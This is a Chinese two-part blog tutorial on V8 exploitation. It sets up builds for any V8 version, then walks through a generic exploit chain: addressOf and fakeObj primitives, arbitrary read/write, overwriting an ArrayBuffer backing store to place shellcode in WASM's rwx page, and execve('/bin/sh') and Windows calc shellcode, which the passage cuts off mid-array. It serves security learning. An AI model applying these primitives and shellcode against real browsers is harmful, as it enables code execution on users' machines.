从 0 开始学 V8 漏洞利用系列篇

New york, USA – july 26, 2019: Start google chrome application on computer macro close up view in pixel screen

 

作者:Hcamael@知道创宇404实验室

环境搭建(一)


最近因为某些原因开始学V8的漏洞利用,所以打算写一个系列的文章来记录一下我的学习过程。

概述

在开始研究V8之前肯定得有相应版本的环境,搭建v8环境的教程网上挺多的。在国内搭建环境,因为众所周知的原因,我们会遇到第一个瓶颈,网络瓶颈。不过也挺好解决的,把环境搭在vps上,网速是最快的。不过随后就会遇到第二个瓶颈,性能瓶颈,自用的vps一般性能都是1c1g左右,编译一次将近1h吧。

我是打算学V8的漏洞利用,不用的漏洞版本基本都会有区别,总不可能研究一个就花1h左右的时间在编译上吧。所以我就考虑是否有现成的docker环境,这样就不需要花时间在编译上了,不过并没有找到合适的docker,只找到一个叫docker-v8的项目,不过只有很少的几个版本,这个Dockerfile和Makefile写的也不对,只能编译最新版的,没法编译任意一个版本。所以我对这个项目进行了一些改编,打算在我的mbp上来编译,自己构建相关的docker。但是没想到i9的CPU也不太行,挺垃圾的,一热就降频,10s左右就可以煮鸡蛋了。编译一次差不多半小时吧,再加上网络因素,完整跑一趟流程也差不多1h。

随后想起前段时间给女朋友配了个AMD 5950x的台式机,随后又研究了一波WOL,但是发现在断电一段时间后,WOL会失效,最后使用小米智能插座,台式机设置通电自动开机,来让我远程访问。

这个台式机是买来给女朋友打游戏,所以装的是windows,也没装虚拟机。不过装了WSL,直接在WSL上编译,路由器是openwrt,让台式机走全局代理,这样又解决了网络瓶颈,最后一整套流程下了,只需要5分钟左右就能生成任意版本的v8环境。然后把d8拖到本地,就能构建好相应版本的docker了。

环境搭建

下面就来详细说明我在WSL编译v8环境的过程:

  1. 首先装好相关依赖: sudo apt install bison cdbs curl flex g++ git python vim pkg-config
  2. 获取depot_tools: git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
  3. 设置depot_tools的环境变量: echo "export PATH=$(pwd)/depot_tools:${PATH}" >> ~/.zshrc
  4. 运行fetch v8, 这个命令会把v8克隆下来,v8挺大的,所以这个命令的速度视网络情况而定
  5. 安装v8相关的依赖,字体依赖就算用代理也会遇到一些网络问题,但是我目前没有研究字体类的漏洞,我就没有去解决这个问题,所以直接不装字体的依赖:./v8/build/install-build-deps.sh --no-chromeos-fonts

以上算通用步骤,也就是不管什么版本,上面的命令执行一次就好了。

网上的环境搭建的教程里面,之后应该就是执行:

$ cd v8
$ gclient sync
$ gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64.release d8

如果编译出来的v8环境需要迁移,建议设置v8_monolithic=true,这样只需要迁移一个d8程序就好了。要不然还得迁移其他(snapshot)依赖。

上面是编译最新版环境运行的命令,不过我是需要编译任意版本的,所以我把第二阶段的内容写成了一个build.sh脚本:

$ cat build.sh
#!/bin/bash
VER=$1
if [ -z $2 ];then
        NAME=$VER
else
        NAME=$2
fi
cd v8
git reset --hard $VER
gclient sync -D
gn gen out/x64_$NAME.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_$NAME.release d8

以下是我运行一次该脚本的时间:

$ time ./build.sh "9.6.180.6"
HEAD is now at 67eacd3dce Version 9.6.180.6
Syncing projects: 100% (29/29), done.
Running hooks: 100% (27/27), done.
Done. Made 178 targets from 98 files in 244ms
ninja: Entering directory `out/x64_9.6.180.6.release'
[1839/1839] LINK ./d8
./build.sh "9.6.180.6"  4581.36s user 691.20s system 1586% cpu 5:32.41 total

然后是我修改过后的Makefile:

$ cat Makefile 
TAG:=$(tag)
IMAGE:=hcamael/v8

default: help

help:
    @echo 'V8/D8 ${TAG} Docker image build file'
    @echo
    @echo 'Usage:'
    @echo '    make clean           Delete dangling images and d8 images'
    @echo '    make build           Build the d8 image using local Dockerfile'
    @echo '    make push            Push an existing image to Docker Hub'
    @echo '    make deploy          Clean, build and push image to Docker Hub'
    @echo '    make github          Tag the project in GitHub'
    @echo

build:
    docker build --build-arg V8_VERSION=${TAG} -t ${IMAGE}:${TAG} .

clean:
    # Remove containers with exited status:
    docker rm `docker ps -a -f status=exited -q` || true
    docker rmi ${IMAGE}:latest || true
    docker rmi ${IMAGE}:${TAG} || true
    # Delete dangling images
    docker rmi `docker images -f dangling=true -q` || true

push:
    docker push docker.io/${IMAGE}:${TAG}
    docker tag ${IMAGE}:${TAG} docker.io/${IMAGE}:latest
    docker push docker.io/${IMAGE}:latest

deploy: clean build push

github:
    git push
    git tag -a ${TAG} -m 'Version ${TAG}'
    git push origin --tags


.PHONY: help build clean push deploy github

然后是修改过后的Dockerfile

$ cat Dockerfile
FROM debian:stable-slim

RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -yqq && \
    DEBIAN_FRONTEND=noninteractive apt-get install curl rlwrap vim -yqq gdb && \
    apt-get clean
ARG V8_VERSION=latest
ENV V8_VERSION=$V8_VERSION

LABEL v8.version=$V8_VERSION \
      maintainer="test@admin.com"
WORKDIR /v8

COPY /v8_$V8_VERSION/d8 ./

COPY vimrc /root/.vimrc

COPY entrypoint.sh /

RUN chmod +x /entrypoint.sh && \
    mkdir /examples && \
    ln -s /v8/d8 /usr/local/bin/d8

ENTRYPOINT ["/entrypoint.sh"]

参考

  1. https://github.com/andreburgaud/docker-v8

 

V8 通用利用链(二)


经过一段时间的研究,先进行一波总结,不过因为刚开始研究没多久,也许有一些局限性,以后如果发现了,再进行修正。

概述

我认为,在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目,大部分情况下,目标都是执行system(/bin/sh)或者execve(/bin/sh,0,0)

在v8利用上,我觉得也有一个明确的目标,就是执行任意shellcode。当有了这个目标后,下一步就是思考,怎么写shellcode呢?那么就需要有写内存相关的洞,能写到可读可写可执行的内存段,最好是能任意地址写。配套的还需要有任意读,因为需要知道rwx内存段的地址。就算没有任意读,也需要有办法能把改地址泄漏出来(V8的binary保护基本是全开的)。接下来就是需要能控制RIP,能让RIP跳转到shellcode的内存段。

接下来将会根据该逻辑来反向总结一波v8的利用过程。

调试V8程序

在总结v8的利用之前,先简单说说v8的调试。

1.把该文件v8/tools/gdbinit,加入到~/.gdbinit中:

$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8

2.使用%DebugPrint(x);来输出变量x的相关信息

3.使用%SystemBreak();来抛出int3,以便让gdb进行调试

示例

$ cat test.js
a = [1];
%DebugPrint(a);
%SystemBreak();

如果直接使用d8运行,会报错:

$ ./d8 test.js
test.js:2: SyntaxError: Unexpected token '%'
%DebugPrint(a);
^
SyntaxError: Unexpected token '%'

因为正常情况下,js是没有%这种语法的,需要加入--allow-natives-syntax参数:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x37640804965d: [JSArray]
 - map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3764081cc139 <JSArray[0]>
 - elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x37640800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3764081d30d1 <FixedArray[1]> {
           0: 1
 }
0x376408203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3764080023b5 <undefined>
 - prototype_validity cell: 0x376408142405 <Cell value= 1>
 - instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]>
 - transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:
     0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3764081cc139 <JSArray[0]>
 - constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)>
 - dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1]    35375 trace trap  ./d8 --allow-natives-syntax test.js

接下来试试使用gdb来调试该程序:

$ gdb d8
pwndbg> r --allow-natives-syntax test.js
[New Thread 0x7f6643a61700 (LWP 35431)]
[New Thread 0x7f6643260700 (LWP 35432)]
[New Thread 0x7f6642a5f700 (LWP 35433)]
[New Thread 0x7f664225e700 (LWP 35434)]
[New Thread 0x7f6641a5d700 (LWP 35435)]
[New Thread 0x7f664125c700 (LWP 35436)]
[New Thread 0x7f6640a5b700 (LWP 35437)]
DebugPrint: 0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }
0x3a0c08203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3a0c080023b5 <undefined>
 - prototype_validity cell: 0x3a0c08142405 <Cell value= 1>
 - instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]>
 - transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:
     0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)>
 - dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

然后就能使用gdb命令来查看其内存布局了,另外在之前v8提供的gdbinit中,加入了一些辅助调试的命令,比如job,作用跟%DebufPrint差不多:

pwndbg> job 0x3a0c08049685
0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }

不过使用job命令的时候,其地址要是其真实地址+1,也就是说,在上面的样例中,其真实地址为:0x3a0c08049684

pwndbg> x/4gx 0x3a0c08049685-1
0x3a0c08049684:    0x0800222d08203a41 0x00000002081d30d1
0x3a0c08049694:    0x0000000000000000 0x0000000000000000

如果使用job命令,后面跟着的是其真实地址,会被解析成SMI(small integer)类型:

pwndbg> job 0x3a0c08049685-1
Smi: 0x4024b42 (67259202)

0x4024b42 * 2 == 0x8049684 (SMI只有32bit)

对d8进行简单的调试只要知道这么多就够了。

WASM

现如今的浏览器基本都支持WASM,v8会专门生成一段rwx内存供WASM使用,这就给了我们利用的机会。

我们来调试看看:

测试代码:

$ cat test.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

然后使用gdb进行调试,在第一个断点的时候,使用vmmap来查看一下内存段,这个时候内存中是不存在可读可写可执行的内存断的,我们让程序继续运行。

在第二个断点的时候,我们再运行一次vmmap来查看内存段:

pwndbg> vmmap
0x1aca69e92000     0x1aca69e93000 rwxp     1000 0      [anon_1aca69e92]

因为WASM代码的创建,内存中出现可rwx的内存段。接下来的问题就是,我们怎么获取到改地址呢?

首先我们来看看变量f的信息:

DebugPrint: 0x24c6081d3645: [Function] in OldSpace
 - map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
 - name: 0x24c6080051c5 <String[1]: #0>
 - builtin: GenericJSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x24c6081c3649 <NativeContext[256]>
 - code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - Wasm function index: 0
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: feedback metadata is not available in SFI
0x24c6082049e1: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 28
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - callable
 - back pointer: 0x24c6080023b5 <undefined>
 - prototype_validity cell: 0x24c608142405 <Cell value= 1>
 - instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]>
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - constructor: 0x24c608002235 <null>
 - dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

可以发现这是一个函数对象,我们来查看一下fshared_info结构的信息:

 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
pwndbg> job 0x24c6081d3621
0x24c6081d3621: [SharedFunctionInfo] in OldSpace
 - map: 0x24c6080025f9 <Map[36]>
 - name: 0x24c6080051c5 <String[1]: #0>
 - kind: NormalFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 185
 - formal_parameter_count: 0
 - expected_nof_properties:
 - language_mode: sloppy
 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - script: 0x24c6081d3491 <Script>
 - function token position: 88
 - start position: 88
 - end position: 92
 - no debug info
 - scope info: 0x24c608002739 <ScopeInfo>
 - length: 0
 - feedback_metadata: <none>

接下里再查看其data结构:

 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
pwndbg> job 0x24c6081d35f5
0x24c6081d35f5: [WasmExportedFunctionData] in OldSpace
 - map: 0x24c608002e7d <Map[44]>
 - target: 0x1aca69e92000
 - ref: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - function_index: 0
 - signature: 0x24c608049bd1 <Foreign>
 - wrapper_budget: 1000

在查看instance结构:

 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
pwndbg> job 0x24c6081d3509
0x24c6081d3509: [WasmInstanceObject] in OldSpace
 - map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c608048259 <Object map = 0x24c6082079b1>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1>
 - exports_object: 0x24c608049b99 <Object map = 0x24c608207a79>
 - native_context: 0x24c6081c3649 <NativeContext[256]>
 - memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1>
 - table 0: 0x24c608049b69 <Table map = 0x24c608207551>
 - imported_function_refs: 0x24c60800222d <FixedArray[0]>
 - indirect_function_table_refs: 0x24c60800222d <FixedArray[0]>
 - managed_native_allocations: 0x24c608049b21 <Foreign>
 - memory_start: 0x7f6e20000000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 0x55a2eca392f0
 - globals_start: (nil)
 - imported_mutable_globals: 0x55a2eca39310
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {}

仔细查看能发现,instance结构就是js代码中的wasmInstance变量的地址,在代码中我们加入了%DebugPrint(wasmInstance);,所以也会输出该结构的信息,可以去对照看看。

我们再来查看这个结构的内存布局:

pwndbg> x/16gx 0x24c6081d3509-1
0x24c6081d3508:    0x0800222d08207439 0x200000000800222d
0x24c6081d3518:    0x0001000000007f6e 0x0000ffff00000000
0x24c6081d3528:    0xeca1448000000000 0x0800222d000055a2
0x24c6081d3538:    0x000055a2eca392f0 0x000000000800222d
0x24c6081d3548:    0x0000000000000000 0x0000000000000000
0x24c6081d3558:    0x0000000000000000 0x000055a2eca39310
0x24c6081d3568:    0x000055a2eca14420 0x00001aca69e92000

仔细看,能发现,rwx段的起始地址储存在instance+0x68的位置,不过这个不用记,不同版本,这个偏移值可能会有差距,可以在写exp的时候通过上述调试的方式进行查找。

根据WASM的特性,我们的目的可以更细化了,现在我们的目的变为了把shellcode写到WASM的代码段,然后执行WASM函数,那么就能执行shellcode了。

任意读写

最近我研究的几个V8的漏洞,任意读写都是使用的一个套路,目前我是觉得这个套路很通用的,感觉V8相关的利用都是用这类套路。(不过我学的时间短,这块的眼界也相对短浅,以后可能会遇到其他情况)

首先来看看JavaScript的两种类型的变量的结构:

$ cat test.js
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();

首先是变量a的结构:

DebugPrint: 0xe07080496d1: [JSArray]
 - map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> {
           0: 2.1
 }
pwndbg> job 0x0e07080496c1
0xe07080496c1: [FixedDoubleArray]
 - map: 0x0e0708002a95 <Map>
 - length: 1
           0: 2.1
pwndbg> x/8gx 0xe07080496d1-1
0xe07080496d0:    0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:    0x0800222d08207961 0x000000020800222d
0xe07080496f0:    0x0001000108005c31 0x080021f900000000
0xe0708049700:    0x0000008808007aad 0x0800220500000002
pwndbg> x/8gx 0x0e07080496c1-1
0xe07080496c0:    0x0000000208002a95 0x4000cccccccccccd
0xe07080496d0:    0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:    0x0800222d08207961 0x000000020800222d
0xe07080496f0:    0x0001000108005c31 0x080021f900000000

变量a的结构如下:

| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|

因为在当前版本的v8中,对地址进行了压缩,因为高32bit地址的值是一样的,所以只需要保存低32bit的地址就行了。

elements结构保存了数组的值,结构为:

| 32 bit map addr | 32 bit length | value ......

变量a结构中的length,表示的是当前数组的已经使用的长度,elements表示该数组已经申请的长度,申请了不代表已经使用了。这两个长度在内存中储存的值为实际值的2倍,为啥这么设计,暂时还没了解。

仔细研究上面的内存布局,能发现,elements结构之后是紧跟着变量a的结构。很多洞都是这个时候让变量a溢出,然后这样就可以读写其结构的map和length的值。

接下来在一起看看变量bc:

变量c:
DebugPrint: 0xe0708049719: [JSArray]
 - map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e070804970d <FixedArray[1]> {
           0: 0x0e07080496e1 <Object map = 0xe0708207961>
 }
变量b:
DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE]
 - map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081c4205 <Object map = 0xe07082021b9>
 - elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
pwndbg> job 0x0e070804970d
0xe070804970d: [FixedArray]
 - map: 0x0e0708002205 <Map>
 - length: 1
           0: 0x0e07080496e1 <Object map = 0xe0708207961>
pwndbg> x/8gx 0xe0708049719-1
0xe0708049718:    0x0800222d08203b31 0x000000020804970d
0xe0708049728:    0x0000000000000000 0x0000000000000000
0xe0708049738:    0x0000000000000000 0x0000000000000000
0xe0708049748:    0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x0e070804970d-1
0xe070804970c:    0x0000000208002205 0x08203b31080496e1
0xe070804971c:    0x0804970d0800222d 0x0000000000000002
0xe070804972c:    0x0000000000000000 0x0000000000000000
0xe070804973c:    0x0000000000000000 0x0000000000000000

变量c的结构和变量a的基本上是一样的,只是变量a储存的是double类型的变量,所以value都是64bit的,而变量c储存的是对象类型的变量,储存的是地址,也对地址进行了压缩,所以长度是32bit。

任意变量地址读

既然内存结构这么一致,那么使用a[0]或者c[0]取值的时候,js是怎么判断结构类型的呢?通过看代码,或者gdb实际测试都能发现,是根据变量结构的map值来确定的。

也就是说如果我把变量c的map地址改成变量a的,那么当我执行c[0]的时候,获取到的就是变量b的地址了。这样,就能达到任意变量地址读的效果,步骤如下:

  1. c[0]的值设置为你想获取地址的变量,比如c[0]=a;
  2. 然后通过漏洞,把c的map地址修改成a的map地址。
  3. 读取c[0]的值,该值就为变量a的低32bit地址。

在本文说的套路中,上述步骤被封装为addressOf函数。

该逻辑还达不到任意地址读的效果,所以还需要继续研究。

double to object

既然我们可以把对象数组变为浮点型数组,那么是不是也可以把浮点型数组变为对象数组,步骤如下:

  1. a[0]的值设置为自己构造的某个对象的地址还需要加1。
  2. 然后通过漏洞,把a的map地址修改成c的map地址。
  3. 获取a[0]的值

这个过程可以封装为fakeObj函数。

任意读

这个时候我们构造这样一个变量:

var fake_array = [
  double_array_map,
  itof(0x4141414141414141n)
];

该变量的结构大致如下:

| 32 bit elements map | 32 bit length | 64 bit double_array_map |
| 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties |
| 32 bit elements | 32 bit length|

根据分析,理论上来说布局应该如上所示,但是会根据漏洞不通,导致堆布局不通,所以导致elements地址的不同,具体情况,可以写exp的时候根据通过调试来判断。

所以我可以使用addressOf获取fake_array地址:var fake_array_addr = addressOf(fake_array);

计算得到fake_object_addr = fake_array_addr - 0x10n;,然后使用fakeObj函数,得到你构造的对象:var fake_object = fakeObj(fake_object_addr);

这个时候不要去查看fake_object的内容,因为其length字段和elements字段都被设置为了无效值(0x41414141)。

这个时候我们就能通过fake_array数组来达到任意读的目的了,下面就是一个通用的任意读函数read64

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

任意写

同理,也能构造出任意写write64

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

我们可以这么理解上述过程,fakeObj对象相当于把把浮点数数组变量a改成了二维浮点数数组:a = [[1.1]],而fake_array[1]值的内存区域属于fake_object对象的elementslength字段的位置,所以我们可以通过修改fake_array[1]的值,来控制fake_object,以达到任意读写的效果。

写shellcode

不过上述的任意写却没办法把我们的shellcode写到rwx区域,因为写入的地址=实际地址-0x8+0x1,前面还需要有8字节的map地址和length,而rwx区域根据我们调试的时候看到的内存布局,需要从该内存段的起始地址开始写,所以该地址-0x8+0x1是一个无效地址。

所以需要另辟蹊径,来看看下面的代码:

$ cat test.js
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);

%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

首先看看data_buf变量的结构:

DebugPrint: 0x2ead0804970d: [JSArrayBuffer]
 - map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299>
 - elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x555c12bb9050
 - byte_length: 16
 - detachable
 - properties: 0x2ead0800222d <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

再来看看backing_store字段的内存:

pwndbg> x/8gx 0x555c12bb9050
0x555c12bb9050:    0x4000000000000000 0x0000000000000000
0x555c12bb9060:    0x0000000000000000 0x0000000000000041
0x555c12bb9070:    0x0000555c12bb9050 0x0000000000000010
0x555c12bb9080:    0x0000000000000010 0x00007ffd653318a8

double型的2.0以十六进制表示就是0x4000000000000000,所以可以看出data_buf变量的值存储在一段连续的内存区域中,通过backing_store指针指向该内存区域。

所以我们可以利用该类型,通过修改backing_store字段的值为rwx内存地址,来达到写shellcode的目的。

看看backing_store字段在data_buf变量结构中的位置:

pwndbg> x/16gx 0x2ead0804970d-1
0x2ead0804970c:    0x0800222d08203271 0x000000100800222d
0x2ead0804971c:    0x0000000000000000 0x12bb905000000000
0x2ead0804972c:    0x12bb90b00000555c 0x000000020000555c
0x2ead0804973c:    0x0000000000000000 0x0000000000000000
0x2ead0804974c:    0x0800222d08202ca9 0x0804970d0800222d
0x2ead0804975c:    0x0000000000000000 0x0000000000000010
0x2ead0804976c:    0x0000555c12bb9050 0x0000000000000000
0x2ead0804977c:    0x0000000000000000 0x0000000000000000

发现backing_store的地址属于data_buf + 0x1C,这个偏移在不同版本的v8中也是有一些区别的,所以写exp的时候,可以根据上面的步骤来进行计算。

根据上述的思路,我们可以写出copy_shellcode_to_rwx函数:

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

 

利用

在linux环境下,我们测试的时候想执行一下execve(/bin/sh,0,0)的shellcode,就可以这样:

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

如果想执行windows的弹计算器的shellcode,代码只需要改shellcode变量的值就好了,其他的就不用修改了:

var shellcode = [
    0xc0e8f0e48348fcn,
    0x5152504151410000n,
    0x528b4865d2314856n,
    0x528b4818528b4860n,
    0xb70f4850728b4820n,
    0xc03148c9314d4a4an,
    0x41202c027c613cacn,
    0xede2c101410dc9c1n,
    0x8b20528b48514152n,
    0x88808bd001483c42n,
    0x6774c08548000000n,
    0x4418488b50d00148n,
    0x56e3d0014920408bn,
    0x4888348b41c9ff48n,
    0xc03148c9314dd601n,
    0xc101410dc9c141acn,
    0x244c034cf175e038n,
    0x4458d875d1394508n,
    0x4166d0014924408bn,
